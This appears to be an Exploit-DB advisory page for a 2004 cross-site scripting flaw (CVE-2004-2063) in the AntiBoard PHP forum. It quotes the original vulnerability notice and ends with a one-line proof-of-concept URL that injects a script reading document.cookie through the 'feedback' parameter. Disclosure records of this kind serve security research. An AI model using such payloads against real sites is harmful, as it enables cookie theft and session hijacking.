Exploit AntiBoard 0.6/0.7 - 'antiboard.php?feedback' Cross-Site Scripting

[Exploiter]

EDB-ID

24330

Проверка EDB

1. Пройдено

Автор

JOSH GILMOUR

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2004-2063

Дата публикации

2004-07-28

AntiBoard 0.6/0.7 - 'antiboard.php?feedback' Cross-Site Scripting

source: https://www.securityfocus.com/bid/10821/info
 
Multiple vulnerabilities are reported to exist in the application due to insufficient sanitization of user-supplied data. The issues include various instances of SQL injection and a cross-site scripting vulnerability.
 
AntiBoard versions 0.7.2 and prior are affected by these issues.

/antiboard.php?thread_id=1&mode=threaded&range=&feedback=<script>alert(document.cookie);</script>